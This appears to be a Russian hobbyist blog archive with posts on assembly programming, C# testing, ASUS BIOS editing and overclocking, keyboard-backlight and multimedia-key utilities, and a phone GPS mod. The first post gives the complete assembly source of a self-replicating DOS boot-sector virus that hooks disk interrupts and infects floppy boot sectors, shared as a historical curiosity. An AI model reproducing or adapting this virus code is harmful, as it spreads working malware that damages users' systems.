среда, 27 ноября 2013 г.

Boot Virus

В далеком 1996(а может раньше, дата файла 96г.) году был у меня компьютер Поиск1 и учился я программировать на assembler. И конечно я не смог обойти тему вирусов, так как было любопытно и позволило мне изучить работу: BIOS, накопителей(FDD, HDD) и файловой системы (FAT). В те времена переделывал вывод CGA для Поиска1, писал драйвер джойстика и еще много интересных вещей. Хорошее время было...
Вирус был написан только для эксперемента и не расспространялся.
Сейчас это уже не актуально, но может кому то будет интересно.
Код правда без комментариев, но если интересно можно разобраться.
;------------------------------------------------------
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:CODESG,SS:CODESG,ES:CODESG

org 12Bh
adres equ 12Bh
smech equ 40h
sizvir equ endvir-begvir
;------------------------------------------------------
begvir:  push cs
pop ds
cld
push cs
pop es
mov si,07C00h+smech
mov di,adres
mov cx,sizvir
rep
movsb
les bx,ds:[04Ch]
mov word ptr ds:[iin],bx
mov word ptr ds:[cin],es
mov ax,offset reads
push ax
ret
reads: push cs
pop es
mov ax,0201h
mov cx,4F01h
mov bx,07C00h
int 13h
mov ax,offset inter
mov word ptr ds:[04Ch],ax
xor ax,ax
mov word ptr ds:[04Ch+2],ax
push bx
ret
inter: push ax
pushf
pop ax
test ah,01h
pop ax
jnz m8
cmp ah,02h
jz mk
cmp ah,03h
jnz extin
mk: cmp cx,0001h
jz redvir
cmp cx,4F01h
jnz extin
m5: retf 02
redvir:  or dh,dh
jz zar
extin: db 0EAh
ain label dword
iin dw 00h
cin dw 00h
m8: cli
les bx,cs:[04h]
mov byte ptr es:[bx],0CFh
pushf
pop ax
and ah,0FEh
push ax
popf
db 0EAh
dw 0FFF0h
dw 0F000h
zar: cmp ah,03h
jz mh
push ax
mov ah,02h
pushf
call cs:[ain]
pop ax
mh: cmp byte ptr es:[bx+511],0AAh
jnz extin
mov ch,4Fh
cmp byte ptr es:[bx+1],029h
jnz m6
jmp extin
m6: mov ax,0301h
mov cl,01h
pushf
call cs:[ain]
mov word ptr es:[bx],029EBh
push ds
push si
push di
push cs
pop ds
cld
mov cx,sizvir
lea di,[bx+smech]
mov si,adres
rep
movsb
pop di
pop si
pop ds
mov ax,0301h
mov cx,0001h
pushf
call cs:[ain]
jb mm9
mov cx,4F01h
mm9: mov ax,0201h
jmp extin
db '* STRANGER *'
endvir:
CODESG ENDS

Распараллеливание DDT (Data Driven Tests) в Unit Testing

На просторах инета я не нашел решения "как распараллелить DDT в Unit Testing", нашел только информацию, что Microsoft не реализовало данную возможность в Visual Studio 2010.
Так что пришлось выкручиваться.

Вот рабочий пример DDT, распараллеленный на 4 потока.
Создаем TestsMultiThread.csv файл
Вот код для обработки данного файла:
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
 
namespace Wireless.Tests
{
    [TestClass]
    public class TestTry 
    {
        [TestClass]
        public class TestsCoupons 
        {
            public TestContext TestContext { getset; }
 
            [TestCleanup]
            public void StopTest()
            {
            }
 
            [TestInitialize]
            public void StartTest()
            {
            }
 
            [ClassInitialize]
            public static void StartTests(TestContext context)
            {
            }
 
            private void ExecuteTest(int thread)
            {
                var threadcfg = Convert.ToInt16(TestContext.DataRow["Thread"]);
                if (threadcfg != thread)
                    Assert.Inconclusive("Test not executed");
                var var1 = Convert.ToInt16(TestContext.DataRow["Var1"]);
                var var2 = Convert.ToInt16(TestContext.DataRow["Var2"]);
                var expResut = Convert.ToInt16(TestContext.DataRow["Result"]);
                Assert.AreEqual(expResut, var1 + var2);
 
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread1()
            {
                ExecuteTest(1);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread2()
            {
                ExecuteTest(2);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread3()
            {
                ExecuteTest(3);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread4()
            {
                ExecuteTest(4);
            }
        }
    }
}

При запуске TestControler распараллеливает  4 метода на 4 виртуальные машины.
Вот результат запуска:
Поток 1

Поток 2

вторник, 26 ноября 2013 г.

Ranorex - организация автоматического тестирования C# приложения

Я занимаюсь тестированием сложного C# приложения, для retail (WS) с помощью Ranorex. В этой статье я расскажу как я организовал окружение, для автоматического тестирования.
Используемые продукты:
  1. Ranorex
  2. MS Visual Studio with MSTest
  3. MS Test Controller + Test Agent
  4. TFS
  5. TeamCity
Проекты:
WS- тестируемый проект
AutomationTesting - проект тестирования


Схема окружения

  1. Проект AutomationTesting берется из TFS и собирается на локальной машине или в TeamCity.Так же в TeamCity собирается проект WS. 
  2. Из TeamCity проект WS деплоится на виртуальные машины.
  3. Запуск UnitTests можно сделать с локальной машины или TeamCity(вручную или по расписанию.

    Пример задания в TeamCity для сборки тестируемого проекта WS:
  • Проект WS забирается из TFS(красное на схеме)
  • Собирается WS
  • Копируется исполняемые файлы и библиотеки на виртуальные машины(черное на схеме)
         Пример задания в TeamCity для сборки и выполнения проекта AutomationTesting:
  • Проект AutomationTesting забирается из TFS(красное на схеме)
  • Собирается AutomationTesting
  • Запускаются через RDP виртуальные машины, так как нам нужен UI
  • Запускаются тесты (зеленое и голубое на схеме)
Какие тесты исполнять и где определяет TestController, распределяя нагрузку между виртуальными машинами(Test Agents)

Запуск виртуальных машин происходит в фоне, без запроса пароля. Пример cmd файла:
taskkill.exe /F /IM mstsc.exe
 
cmdkey /add:"TERMSRV/nameVM" /user:"userName" /pass:userPassword
start mstsc.exe file.rdp /v:nameVM /h:1024 /w:1280 /admin

вторник, 5 ноября 2013 г.

Программа для тренировки-тестирования вибры

У Jiayu G3S есть проблема, моторчик вибры как бы залипает. Программа тренирует вибру, говорят это помогает. 
В импульсном режиме можно тестировать, если оставить на долго и вибра залипает значит проблемма есть.

вторник, 17 сентября 2013 г.

Рeдактор NCB для ноутов ASUS

Данная программа позволяет редактировать данные в блоке NCB BIOS(SLIC, MSDM, msdm.bin, serial number, OEM number, MAC, UUID). Инструкция в хелпе программы
Пользуетесь на свой страх и риск.
Скачать программу
Если есть замечания, вопросы - пишите.

воскресенье, 18 августа 2013 г.

Выжать все! OverClocking notebook N56VM

Повторение данных действий может привести к печальным последствиям для вашего ноутбука и кошелька. Помните! Я за кирпич из ноута не ответственен.  Все что вы будете делать - это только ваше решение. Перед любыми изменениями BIOS я настоятельно рекомендую иметь под рукой программатор. Я намерено не буду подробно расписывать шаги, т. к. те кто понимают, что они делают, знают как это делать или могут нагуглить.

И так, что можно выжать из ноутбука Asus N56VM.
1. Это увеличить скорость памяти
2. Это увеличить скорость графики GT 630M
3. Это увеличить скорость шины и процессора

По п. 3 сразу скажу, что пока до него не удалось добраться, а вот пункты 1 и 2 я сейчас и распишу.

п. 1 Увеличиваем скорость памяти попутно открываем скрытые настройки BIOS.

Для этого нам понадобятся следующие утилиты:
1. Hex редактор HxD
2. Утилита AMIBCP_Aptio_4.53.0.50
3. Утилита MMTool-4.50 (AMI Aptio EFI)
4. Набор утилит intel_tools_8.1.10.1286, нам нужна будет Flash Programming Tool

И так:
С помощью Flash Programming Tool сливаем наш BIOS и открываем все нужные настройки в AMIBCP. 
После этого нам будут доступны все меню кроме меню Chipset. Для того чтоб открыть меню Chipset  Нам нужно будет намного покопаться, я так и не нашел в инете инструкцию как его открыть, по этому пришлось копать самому. Производитель решил очень глубоко спрятать это меню, по этому его невозможно открыть с помощью AMIBCP. После долгого гугления я как то наткнулся на утекшие сырцы UEFI Bios, что мне помогло после их изучения наткнуться на вот такой код в модуле Setup:
BOOLEAN FormsetVisible[] = {
    TRUE, //Main formset is always displayed
    SHOW_ADVANCED_FORMSET, //Advanced formset
    SHOW_CHIPSET_FORMSET, //Chipset formset
    TRUE, //Boot formset is always displayed
    SHOW_SECURITY_FORMSET, //Security formset
    TRUE //Exit formset is always displayed
};
  Получается что нам всего лишь нужно найти Hex последовательность байт 010100010101
и заменить на 010101010101, т. е. все включить.
С помощью MMTool был выгружен и распакован модуль Setup, а с помощью HxD заменен нужный байт, но вот беда в модуле должна быть прописана нужная контрольная сумма, она находится по адресу x11h, т. к. фактически мы изменили всего один бит, то нам нужно уменьшить число по адресу x11h на 1. У меня было xC9h, стало xC8h, после этого закинуть полученный новый Setup модуль в BIOS c помощью MMTool. После прошивки и выключения-включения(обязательно), у вас в настройках BIOS появится меню Chipset.
А в нем еще настройки памяти, я у себя установил тайминги вместо 11-11-11-28 на 9-9-9-24.

Внимание! Данное действие или изменение частоты может привести к тому, что ноут не загрузится! Восстановление только на программаторе! Я предупредил!
Некоторые неправильные настройки в BIOSe могут привести к не включению ноута, восстановить который можно только на программаторе.

п. 2 Увеличиваем скорость графики GT 630M. Редактируем VBIOS

Дополнительная утилита NiBiTor.v6.06
С помощью MMTool выгрузить драйвер GT 630M 10de - 0de9.
Адреса частот core и boost (спасибо за наводки на адреса Klem):
6f8b - boost
7009 - boost
7066 - boost
7089 - core
Частота высчитывается следующим образом: частота * 2 конвертируем в hex и меняем в файле(помним про последовательность байтов). Я заменил core на частоту 720MHg, boost на 900MHg. Оставил тротлинг, это все таки защищает чип от перегрева.
Далее с помощью утилиты NiBiTor.v6.06 меняем частоты памяти (у меня 1025) и шрейдера (1600), сохраняем. Утилита сама посчитает контрольную сумму. И возвращаем драйвер в BIOS.

Вот и все! У кого получился кирпич, я не виноват!
PS: Я намеренно не выкладываю файлы, чтоб уменьшить кол-во кирпичей. Вы можете их запросить у меня по почте (файлы а не кирпичи ;)

Если вы знаете как разблокировать частоты процессора, прошу мне подсказать, буду очень благодарен, это как я понял где то в регионе ME.

среда, 1 мая 2013 г.

Свои действия на мультимедийные кнопки в Asus

По просьбе Олега Петушкова написал программу управления мультимедийными кнопками.
Проект вырос с проекта Мигаем подсветкой клавиатуры.
Программа заменяет C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe
Чтоб все корректно работало DMedia.exe убрана из автозагрузки
Теперь о программе.
Возможности:

  1. Мигает подсветкой клавиатуры при приходе сообщения или поступления звонка Skype (Внимание! Microsoft прекращает поддержку Skype Desktop API т. о. данная функциональность может пропасть при установке новых версий Skype)
  2. Включает подсветку по расписанию
  3. Динамически подсвечивает клавиатуру когда нажимаете кнопки
  4. "Цветомузыка" - мигаем в такт музыке.
  5. Запускает 6 приложений кнопками FN+: Media(Instant key), 1, T, C, V и Enter цифровой клавиатуры (Настраивается)
  6. Посылает short cuts в программы указанные в списке.
  7. Имеет на каждую multimedia кнопку курсора 2 действия.   

Программа перехватывает все события посланные в DMedia от HControl и передает дальше в зависимости от настроек.
Установка:
  1. Установить программу из инсталляции.
  2. Настроить под свою программу (по умолчанию в списке присутствует управление VLC плейром).
 Настройка:
Управляемые программы ищутся по заголовку окна который определяется в поле "Title" с помощью regex 
Поле "Name" - просто имя программы(не несет функциональности)
Поле "Active" - использовать данное правило. (если галочка не стоит то обрабатываться не будет)
Поле "Post/Send" - использует разные методы работы с программой Send(галочка присутствует)  - посылает в активное окно нажатия кнопок, по этому окно которым управляем становится активным, Post посылает сообщения в любое окно и не делает это активным (нестабильно, использовать на свой страх и риск, может приводить к падению программ)
Поле "IfForeGround" - команды будут обрабатываться только если вы работаете в этом окне, окна помеченные этой галочкой обрабатываются в первую очередь.
Поле "RetToFront" -  возвращает в активность окно с которым вы работали перед нажатием кнопок, используется совместно с "Send"
Действия кнопок курсора программируются с помощью Keys Enumeration вписываем Member name кнопки через +. Пример CTRL+Left: ControlKey+Left
Кнопки поддерживают двойное быстрое нажатие таким образом можно запрограммировать 8 действий.
Скачать инсталляцию
Если есть баги(а они есть ;), то пишите)
02.05.2013 12:53 - новая версия исправил проблему со Скайпом. По идее если скайп не установлен, то теперь не будет вылетать, а только отключать функциональность мигания.
03.05.2013 - Пофиксил ошибки, спасибо Олегу Петушкову за помощь в тестировании и вылавливании ошибок.
05.05.2013 - Версия 2.0.2: В метод Post добавлена работа с кнопками alt, ctrl, shift
для окна определенного с помощью ".*" в Title события идут в текущие окно, таким образом можно делать глобальные short cuts. Мелкие исправления.
05.05.2013 - Версия 2.0.3: Добавил возможность запуска приложений с параметрами
Пример: открытия любимого сайта explorer.exe http://google.com
05.05.2013 - Версия 2.0.4: Теперь программа ест намного меньше памяти
07.05.2013 - Версия 2.0.5: "*." обрабатывается после окон помеченных "IfForeGround"
Добавлена в установку настройка для медиа кнопок и youtube.
12.05.2013 - Версия 2.0.6: Исправлена работа со Skype, убраны настройки youtube.
26.05.2013 - Версия 2.0.7: Добавлена автоматическое включение подсветки клавиатуры по времени, Добавлена динамическое включение подсветки, нажали на кнопку подсветка загорелась и через заданный промежуток потухла.
01.06.2013 - Версия 2.0.8: Добавлена "Цветомузыка" мигаем в такт музыке ;) Полезности ни какой, за то прикольно. Мелкие исправления и улучшения.
18.06.2013 - Версия 2.0.9: Много исправлений, меню в трее.
19.06.2013 - Версия 2.1.0: Исправление ошибок,  переименование проекта.
20.06.2013 - Версия 2.1.1: Добавлена функция Spark, устранена утечка памяти из-за SkypeApi.
02.11.2013 - Версия 2.2.1: Добавленна возможность на enter цифровой клавиатуры назначить своё приложение.
11.09.2014 - Подтверждена работа на ноутках Nx6, G550 и др.

Известные проблемы: При приходе сообщения не мигает - Skype API генерирует события после первых 2-х...4-х сообщений.

Примеры для Title:
.*VLC - ищет окно с названием в конце VLC
.* - любое окно

Примеры для кнопок:
для Alt + Ctrl + Shift + 2  вписываем LMenu+ControlKey+ShiftKey+D2

Пример запуска VLC:
"C:\Program Files\VideoLAN\VLC\vlc.exe" d:\music
Откроет VLC и проиграет музыку которая в d:\music


Скриншоты:

Если в окно Title ввести ".*", поставить галку на "Post/Send" и ввести в качестве горячих Up - MediaStop, Down - MediaPlayPause, Left - MediaPreviousTrack, Right - MediaNextTrack, то можно управлять приложением, поддерживающим клавиши мультимедиа, например Winamp


воскресенье, 17 марта 2013 г.

Мигаем подсветкой клавиатуры

Дело было вечером, делать было нечего. Купил я как то ноут Asus N56VM, в нем есть подсветка клавиатуры и подумалось мне, что просто подсветка это не интересно.
Что можно сделать с подсветкой? - Правильно! Помигать!
Вот и взялся я посмотреть как включается подсветка. После некоторых поисков, локализовал управление подсветкой с помощью клавиатуры в "C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControl.exe". После дебагинка в IDA были найдено следующие:
что подсветка включалась - выключалась с помощью вызова DeviceIoControl с определенными параметрами. В результате была написана функция включения и регулировки подсветки.
        public static int GetLevel()
        {
            return Level(0, 0x424B4C47);
        } 
        public static int SetLevel(int level)
        {
            return Level(level, 0x424B4C53);
        }
        public static int Level(int level, int code)
        {
            byte[] outBuffer = new byte[0x300];
            int[] inBuffer = new int[6] { 2, 0, 1, 8, 0x040000, 0x80 };
            inBuffer[1] = code;
            inBuffer[5] = level | 0x80;
            bool result = false;
            int bytesReturned = 0;
            SafeFileHandle _hdev = new SafeFileHandle(CreateFile("\\\\.\\ATKACPI", 0xC0000000, 3, IntPtr.Zero, 3, 0, IntPtr.Zero), true);
            if (_hdev.IsClosed | _hdev.IsInvalid)
            {
                WarningMessage("Error opening device");
                return -1;
            }
            unsafe
            {
                fixed (byte* p1 = &outBuffer[0])
                {
                    fixed (int* p = &inBuffer[0])
                    {
                        result = DeviceIoControl(_hdev, 0x00222404, (IntPtr)p, 0x18, (IntPtr)p1, 0x300, out bytesReturned, IntPtr.Zero);
                    }
                }
            }
            if (result == false)
            {
                int error_code = Marshal.GetLastWin32Error();
                WarningMessage("error code: " + error_code);
                return -1;
            }
            if (code == 0x424B4C47)
            {
                return outBuffer[0x10];
            }
            return level;
        }
 Консольную утилиту для регулировки и мигания подсветки для Asus Nx6 можно скачать тут

 Но просто мигать подсветкой не интересно, по этому после непродолжительного изучения SkypeAPI была написана программа  которая мигает подсветкой при приходе сообщения или поступления звонка. Программа висит в трее и позволяет регулировать подсветку и мигает при событии от skype. Инсталляция убрана в связи с не актуальностью.
Программа работает на серии ноутбуков Asus Nx6  при установленном Skype.

Если у вас есть идеи как еще можно использовать подсветку клавиатуры, то пишите в комментариях.

14.04.3013 Добавлена возможность запускать свои приложения при нажатии fn+ 1, V, C


GPS в Asus P525

Сейчас все смартфоны имеют встроенный GPS, a вот раньше, 6 лет назад, не в каждом он был.
Захотелось мне как то встроить в свой старый девайс GPS модуль.
И так имеем GPS GTPA010(FGPMMOPA6B) модуль купленный на ebay, имеет на борту UART и USB 
В Asus p525 используется IRDA модуль TFBS4711, который нужно удалить, т. к. нам нужен свободный UART.
Приступаем:
1. Сдуваем паяльным феном технический разъем он будет мешать, собрать потом телефон, на месте разъема будет GPS модуль. 

2. Сдуваем паяльным феном модуль IRDA , он нам уже не нужен, 
и подпаиваем 
тонкие проводки там где был модуль IRDA для соединения с GPS.


 
3. Подпаиваем следующие 2 - TXD(вход IRDA), 3 - RXD(выход IRDA), 4- сигнал включения 
и соединяем c GPS модулем 
IRDA - GPS 
3(RXD) - 9(TX) 
2(TXD) - 10(RX) 
4(SD) - 2 (ENABLE)


4. Рядом со светодиодом зарядки я припаял еще один светодиод (SMD очень мелкий) один вывод на землю (-) другой через 330 Ом на 
вывод 5 (3D-FIX) GPS модуля, он показывает состояние GPS.

5. Рядом с модулем расположил ионистор(старый я выпаял) соединив его проводом с выводом где раньше был старый ионистор и 4 (VBACKUP) выводом GPS модуля. Землю для ионистора и модуля взял тут же на плате. 
Плюс (+) для питания брал, показал красной стрелкой на фотографии.
 
Ну вот в принципе и все, с железом 
 
Но как оказалось этого мало чтоб GPS реально заработал т. к. драйвер порта работал с протоколом IRDA, а нам нужны чистые данные на выводах.
Вот тут засада и началась.  Нужен был драйвер которые не оборачивает данные в IRDA протокол. Пришлось патчить родные драйвера с помощью IDA и Assembler. Скачать драйвер можно на форуме ссылка 
приведена ниже. Так же для данного модуля написал загрузку EPO для WM, для быстрого поиска спутников.
Итог: GPS работает на com4, Навител работает отлично. 

PS: Можно подключить не только GPS модуль но и почти любое устройство с последовательным портом и управлять данными с девайса 

Форум